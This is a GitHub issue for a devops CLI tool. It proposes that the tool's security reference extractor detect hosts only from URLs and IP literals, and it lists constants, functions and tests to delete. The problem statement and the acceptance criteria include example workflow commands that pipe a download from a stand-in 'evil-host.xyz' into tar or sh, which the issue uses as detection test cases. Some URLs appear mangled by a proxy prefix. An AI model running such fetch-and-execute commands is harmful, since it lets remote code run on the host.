Skip to content

fix(security): network references come from url and ip syntax, not identifier-prefix and property-suffix lists #431

Closed

Description

@dan-petty

Problem Statement

AGENTS.md:21-24 forbids matching against an arbitrary subset of an open set of values; its own examples are "arbitrary identifier prefixes, property suffixes, or selective web TLDs". config/constants.py still holds such lists, and their main consumer is the network-reference extractor, which runs on every file devops ai review reads (ai/review/pipeline.py:1778, and the directory probe at :818).

This item was first written about CONST_BRANCH_PREFIXES (config/constants.py:725). Nothing in src or tests reads it, and config/__init__.py does not re-export it: it is dead code.

Line numbers below are at 9c879ae on release/v0.2.25; the measurements are at the commits named with them.

How the extractor guesses. security/reference_extractor.py decides whether a dotted word such as host.name is code or a hostname with three lists and a DNS lookup:

  • CONST_CODE_CONFIG_PREFIXES (constants.py:916) holds 13 identifier prefixes such as self., cli. and otel.. Read at reference_extractor.py:506 and :614.
  • CONST_COMMON_PROPERTY_SUFFIXES (constants.py:933) holds 49 property names. Read at :510 and :687.
    • Only 15 of the 49 are public suffixes, for example name, id, run, email, pid and total.
    • The other 34 never change a result: a word without a public suffix is already treated as code at :676-677.
    • For the 15, the code falls back to a live DNS lookup (_is_resolvable_domain, :484-490, reached from is_code_or_config_reference at :685-688).
  • CONST_TELEMETRY_CALL_NAMES (constants.py:997) is matched as substrings of call names at :433 to find metric keys.

What goes wrong.

  • The lists keep missing words. At HEAD the extractor reports code words whose suffix is not on the list: valkey.host (config/options.py:69), hatchling.build (pyproject.toml:3), ai.runs.show (commands/ai_runs.py:458) and resources-finalizer.argocd.argoproj.io (k8s/argocd/apps/root-app.yaml:7).
  • Taking the lists out alone is worse. Over the tracked files, with DNS blocked, emptying the three lists adds about 70 code words as hosts and removes none (measured at ef21785).
  • The DNS fallback only runs in production. Tests block every external lookup (tests/conftest.py:118-163), so the branch that treats a resolving name as a host has no test. In production, each such word costs a DNS query.
  • Misread words leave the workstation. References other than IPs are looked up in Cloudflare Radar (ai/review/pipeline.py:1888-1889, security/vulnerability_lookup.py:414).

Other subsets in the same module.

  • URL schemes. A URL counts only if it starts with http, https or ftp (:209, :796-798, :1021), and only http and https survive (:1027). Hosts in redis://, postgresql:// or wss:// URLs are never reported.
  • Download URLs are skipped on any host. is_package_repository_asset (:960-1010) skips any URL whose path looks like an archive (mimetypes.guess_type, :977-994), or that contains /packages/, /crates/, /v3-flatcontainer/, /downloads/ or /repository/ (:996-1008), whatever the host. The workflow step curl https://evil-host.xyz/payload.tar.gz | tar xz produces no reference, so no reputation check runs.
  • Dead keyword list. _extract_domain_reference has an inline keyword list for .example and .sample names (:1152-1167). Every such name is rejected anyway, by the RFC 2606 check at :1149 or because it has no public suffix. The block never decides anything.
  • api. exception. is_network_domain skips listed registries unless the host starts with api. (:743).

Why nothing better can be guessed. No grammar or registry tells host.name the OpenTelemetry attribute apart from host.name the registrable domain (hatchling.build, eks.amazonaws.com and resources-finalizer.argocd.argoproj.io all carry real public suffixes). The parsers that do exist are the URL parser (RFC 3986, urllib.parse) and ipaddress. This item makes the extractor report only what those parsers recognise, and deletes the lists and the code that only existed to serve them.

Measurements. Scratch scripts imported the module, emptied the constants in memory and blocked socket.getaddrinfo; nothing in the tree was changed. The counts move with every commit, so the delivering PR takes its own before figure at its base commit.

  • At ef21785 the extractor reported 264 bare-word (domain) references in 135 files: 141 external and 123 local. At 9da1309 (1,621 tracked files) it reports 288 in 154 files: 164 external and 124 local. The 647 url and 158 ip references are unaffected by this item except where the any-scheme rule adds hosts.
  • With the prefix list or the telemetry list emptied, all 35 tests in tests/test_reference_extractor.py pass. With the suffix list emptied, 1 fails; with all three emptied, 2 fail.
  • The 128 tests in the review pipeline, runner, report and finding-loss modules pass with all three emptied.

Proposed Solution

A network reference is one of exactly two things:

  1. a URL with a host, in any scheme, parsed by urllib.parse.urlsplit; or
  2. an IP literal, parsed by ipaddress.

A bare dotted word is never a reference, in any file type. That includes a bare localhost, and it includes a whole config scalar value such as host: db.vendor-x.io in YAML, JSON, TOML or HCL (decided No on 2026-10-02; see Key Questions). A http://localhost:… URL still counts. The any-scheme rule replaces the http/https/ftp tuples at :209 and :1021 and the ("http", "https") check at :1027; the tuple at :796-798 goes with the dict-key filter it guards.

Everything that only served bare-word classification is deleted, without shims:

  • Constants (and their imports and __all__ entries in config/__init__.py:70-71,87,142,145,521-522,538,593,596): CONST_BRANCH_PREFIXES (constants.py:725), CONST_CODE_CONFIG_PREFIXES (:916), CONST_COMMON_PROPERTY_SUFFIXES (:933), CONST_TELEMETRY_CALL_NAMES (:997), CONST_STANDARD_RECEIVER_IDENTIFIERS (:913) and CONST_EXCLUDED_FILE_MIME_TYPES (:988). CONST_RFC2606_RESERVED_TLDS (:838), CONST_RFC2606_RESERVED_DOMAINS (:847), CONST_SPECIAL_USE_TLDS (:857) and CONST_EXCLUDED_PUBLIC_REGISTRIES (:873) stay.
  • Functions in reference_extractor.py: _get_workspace_filenames (:284), _is_routable_dns_ip (:475), _is_resolvable_domain (:484), _is_metric_or_telemetry_context (:493), _is_known_python_module (:520), is_file_reference (:531), is_code_or_config_reference (:596), is_network_domain including its api. exception (:695), and _extract_domain_reference including the :1152-1167 block (:1115).
  • Other code in reference_extractor.py:
    • the PythonSymbolContext, _resolve_attribute_chain, _resolve_call_func, PythonSymbolVisitor and _parse_python_file_symbols symbol pass (:333-472);
    • the dict-key and telemetry-argument filter that uses the visitor in _extract_python_literals_and_comments (:789-799). Those literals are then scanned like any other literal;
    • the git config regex in _clean_yaml_scalar (:843);
    • the module-level mimetypes.add_type registrations (:52-62);
    • the domain entry in _REF_TYPE_RANKS (:1241) and the "domain, url, ip" wording in the two sort docstrings (:1245-1246, :1260-1261);
    • the step-3 domain branch in extract_network_references (:1359-1371);
    • the imports that become unused once those go: builtins (used only at :628), importlib.util (:525), keyword (:643,650), mimetypes (:51-62,573,978), os (:293), socket (:487-489), sys (:629), detect_language (:31, used at :576) and _get_pathspec_for_repo (:45, used at :291). ast, tokenize and tldextract stay (_TLD_EXTRACTOR is still read at :175 and :277).
  • Re-exports: is_code_or_config_reference, is_file_reference, is_network_domain and is_package_repository_asset leave the module __all__ (:112-130); is_file_reference and is_network_domain leave security/__init__.py:23,25,79,81.
  • The domain reference type. The NetworkReference.reference_type default and comment (models/vulnerability.py:47) and the table default (output/formatters/tables.py:218) become url. Review fixtures that build domain references switch to url with a URL target, since a url reference with a bare-host target is a shape the extractor never emits (tests/test_review_pipeline.py:615 api.example-corp.com, :924 malicious-site.cc; tests/test_review_report_summary.py:213 example.com), as do the six domain fixtures in the dedupe and sort tests (tests/test_reference_extractor.py:1180,1189,1198,1222,1231,1258: homelab.local twice, api.github.com, malicious.example-bad.com, api.vendor.com, argocd.homelab.local). NetworkIntelResult.target_type (models/security.py:84) is a different model and is unchanged. The pipeline's Radar split (rtype != "ip", pipeline.py:1888-1889) is unchanged.

Registry URLs are skipped by host only. is_package_repository_asset keeps the host match against CONST_EXCLUDED_PUBLIC_REGISTRIES (:970-973) and drops the MIME and path guesses (:976-1008). It is renamed to say what it checks, for example is_trusted_registry_host.

Tests:

  • Rewrite the affected tests in tests/test_reference_extractor.py (every test that asserts a bare word is or is not a reference, and the direct calls to the deleted functions at :12, :506-541, :591-616, :641-659, :717-734, :792-829, :867-898, :918-944, :1152-1157).
  • Drop the is_file_reference import (tests/test_codebase_hygiene_and_shims.py:27) and assertions (:178-180) from test_reference_extractor_no_hardcoded_extensions; its two hasattr assertions (:174-175) stay.
  • Correct the comment above the getaddrinfo guard in tests/conftest.py:122-124, which still says the extractor resolves every domain-like token. fix(test): the test network guard refuses loopback connects to services the test did not start #837 shipped in v0.2.24 and left that sentence in place, so this item owns it.

Task file: rewrite docs/agent/tasks/task-431-anti-brittle-constant-elimination.md in the delivering PR. Its current text (Status Backlog, Milestone v0.2.25, "eliminates arbitrary string list subsets across configuration modules … structural git invariants") describes the original scope, not this one; renaming it to match the current title keeps the task-<issue>-<slug>.md form the task-file naming rule requires.

Scope

One pull request. It touches src/devops_cli/security/reference_extractor.py, src/devops_cli/security/__init__.py, src/devops_cli/config/constants.py, src/devops_cli/config/__init__.py, src/devops_cli/models/vulnerability.py, src/devops_cli/output/formatters/tables.py, tests/test_reference_extractor.py, tests/test_codebase_hygiene_and_shims.py, tests/conftest.py (one comment), tests/test_review_pipeline.py, tests/test_review_report_summary.py, the task file and changelog.d/431.md. No new dependency: tldextract stays for the RFC 2606 and special-use checks on URL hosts. Pre-1.0: removed names go without aliases. Tests never touch the network or DNS, and each new test costs at most 1 s.

Key Questions

Acceptance Criteria

  • Removed names are gone. grep -rnE 'CONST_(BRANCH_PREFIXES|CODE_CONFIG_PREFIXES|COMMON_PROPERTY_SUFFIXES|TELEMETRY_CALL_NAMES|STANDARD_RECEIVER_IDENTIFIERS|EXCLUDED_FILE_MIME_TYPES)|_is_resolvable_domain|_is_routable_dns_ip|is_code_or_config_reference|is_network_domain|is_file_reference|_get_workspace_filenames|_is_metric_or_telemetry_context|_is_known_python_module|_extract_domain_reference|PythonSymbol|_parse_python_file_symbols|is_package_repository_asset|mimetypes\.add_type|reference_type="domain"' src tests prints nothing. Verified by running the command in the PR.

  • No DNS. A test in tests/test_reference_extractor.py patches socket.getaddrinfo and socket.gethostbyname to raise AssertionError, runs extract_network_references over Markdown, Python, YAML and TOML samples full of dotted words, and passes. Verified by the test.

  • Bare words are not references. A parametrised test asserts no reference for each case below:

    • code words: valkey.host, hatchling.build, ai.runs.show, resources-finalizer.argocd.argoproj.io, service.name, host.name, user.email, process.pid, metadata.name and agent.tokens.total;
    • two real-looking hosts, so the test checks the rule and not a word list: prod-infra.custom-cloud.io and ghcr.io;
    • a bare localhost;
    • a whole config scalar value in each format, per the decision above: host: db.vendor-x.io in YAML, "host": "db.vendor-x.io" in JSON, host = "db.vendor-x.io" in TOML and in HCL;
    • syntax: each word in a Python assignment and a decorator argument, a TOML value, a YAML value and list item, Markdown prose and a comment.

    Verified by the test.

  • URLs in any scheme report their host. Each of https://api.vendor-x.io/v1, redis://cache.vendor-x.io:6379/0, postgresql://[email protected]/app and wss://stream.vendor-x.io/feed gives one url reference marked external. The same forms with a private IP or localhost host are marked local. file:///x and jdbc:postgresql://db.vendor-x.io/app give none. Verified by a test.

  • Download URLs are checked by host. In a workflow run: block, curl -fsSL https://evil-host.xyz/payload.tar.gz | tar xz and curl https://evil-host.xyz/downloads/run.sh | sh each give a reference. A https://files.pythonhosted.org/packages/…/x.whl URL still gives none. Verified by a test.

  • Literals in dict keys and telemetry calls are scanned. In a Python file, {"8.8.8.8": 1} and counter("8.8.8.8") each give one ip reference. At HEAD both give none. Verified by a test.

  • Other IP behaviour does not change. test_is_public_ip and test_reference_extractor_documented_examples_and_rfc_exclusions pass without edits. test_extract_network_references and test_network_references_rejects_unspecified_ip_and_example_domains keep their IP assertions as they are and lose only their bare-word assertions. Verified by the gate and the PR diff.

  • The domain type is gone from the model and tables. NetworkReference().reference_type == "url", _REF_TYPE_RANKS has no domain key, grep -n '"domain"' src/devops_cli/models/vulnerability.py src/devops_cli/output/formatters/tables.py src/devops_cli/security/reference_extractor.py prints nothing, and test_sort_network_references_ordered passes with url and ip fixtures only. Verified by the tests and the grep in the PR.

  • Hygiene and conftest. test_reference_extractor_no_hardcoded_extensions passes with only its two hasattr assertions, and grep -n 'domain-like' tests/conftest.py prints nothing. Verified by the gate and the grep in the PR.

  • Gate cost does not grow. uv run pytest tests/test_reference_extractor.py -n 0 --durations=10 shows no test call over 1 s. The PR states the module's call time before and after. At HEAD, test_extract_network_references takes 0.3 to 0.5 s on this devcontainer (0.6 to 0.9 s on other machines), and the workspace walk it triggers takes 0.39 s on its own. Verified by the command output in the PR.

  • Before and after on this repository. The PR body gives the number of references by type and scope over git ls-files at its base commit and at its head, from a one-off script run with DNS blocked from the repository root; the script is not committed. At 9da1309 the script finds 288 bare-word references in 154 files (164 external, 124 local); at the PR's head it finds 0. Verified by reading the PR.

  • Changelog fragment. changelog.d/431.md records the removed names, the any-scheme rule and the end of the domain type. CHANGELOG.md and docs/ROADMAP.md are not edited. Verified by devops pr check-readiness.

Out of Scope

Dependencies

Activity

  1. added this to the v0.2.23 milestone on Sep 22, 2026
  2. added
    type/feature
    scope/cli
    priority/p1-high
    on Sep 22, 2026
  3. modified the milestones: v0.2.23, v0.2.25 on Sep 24, 2026
  4. modified the milestones: v0.2.25, v0.2.26 on Oct 1, 2026
  5. dan-petty commented on Oct 1, 2026

    @dan-petty
    OwnerAuthor

    Moved from v0.2.25 to v0.2.26 to make room for the seven P1 items left open in the shipped v0.2.23, which were committed earlier. The roadmap-job items placed in v0.2.25 stay, and this item is among the oldest of the rest.

  6. changed the title [-]feat(cli): anti-brittle constant elimination[/-] [+]fix(security): network references come from url and ip syntax, not identifier-prefix and property-suffix lists[/+] on Oct 1, 2026
  7. dan-petty commented on Oct 3, 2026

    @dan-petty
    OwnerAuthor

    Lines cited at dcafadf.

    Two rewritten items touch security/reference_extractor.py after this item lands. Neither changes what this item does.

  8. added
    status/in-progress
    on Oct 4, 2026
  9. added a commit that references this issue on Oct 4, 2026
  10. removed
    status/in-progress
    on Oct 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    priority/p1-highscope/clitype/feature

    Type

    No type

    Projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions